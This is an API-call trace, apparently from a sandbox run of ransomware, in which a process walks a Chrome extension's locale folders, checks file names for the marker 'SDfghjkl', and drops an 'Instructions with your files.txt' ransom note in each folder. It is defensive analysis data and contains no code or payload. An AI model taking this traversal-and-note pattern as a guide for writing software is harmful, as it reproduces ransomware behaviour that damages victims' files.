[0129.401] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1
[0129.401] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru") returned 143
[0129.401] GetProcessHeap () returned 0x810000
[0129.401] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.401] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\*") returned 145
[0129.401] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.402] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\.") returned 145
[0129.402] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.402] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\..") returned 146
[0129.402] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.402] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json") returned 157
[0129.402] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.402] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.402] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\Instructions with your files.txt") returned 176
[0129.402] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.402] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.403] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.403] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.403] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.404] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.404] CloseHandle (hObject=0x134) returned 1
[0129.404] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.404] GetProcessHeap () returned 0x810000
[0129.404] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.404] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1
[0129.404] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk") returned 143
[0129.404] GetProcessHeap () returned 0x810000
[0129.404] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.404] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\*") returned 145
[0129.404] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.405] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\.") returned 145
[0129.405] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.405] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\..") returned 146
[0129.405] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.405] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json") returned 157
[0129.405] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.405] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.405] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\Instructions with your files.txt") returned 176
[0129.405] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.405] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.406] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.407] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.407] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.407] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.407] CloseHandle (hObject=0x134) returned 1
[0129.407] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.407] GetProcessHeap () returned 0x810000
[0129.407] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.407] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1
[0129.407] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl") returned 143
[0129.407] GetProcessHeap () returned 0x810000
[0129.407] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.407] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\*") returned 145
[0129.407] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.407] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\.") returned 145
[0129.408] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.408] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\..") returned 146
[0129.408] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.408] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json") returned 157
[0129.408] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.408] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.408] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\Instructions with your files.txt") returned 176
[0129.408] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.408] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.409] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.409] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.409] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.409] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.409] CloseHandle (hObject=0x134) returned 1
[0129.409] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.409] GetProcessHeap () returned 0x810000
[0129.409] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.409] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr", cAlternateFileName="")) returned 1
[0129.410] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr") returned 143
[0129.410] GetProcessHeap () returned 0x810000
[0129.410] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.410] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\*") returned 145
[0129.410] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.411] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\.") returned 145
[0129.411] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.411] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\..") returned 146
[0129.411] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d75f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.412] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json") returned 157
[0129.412] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
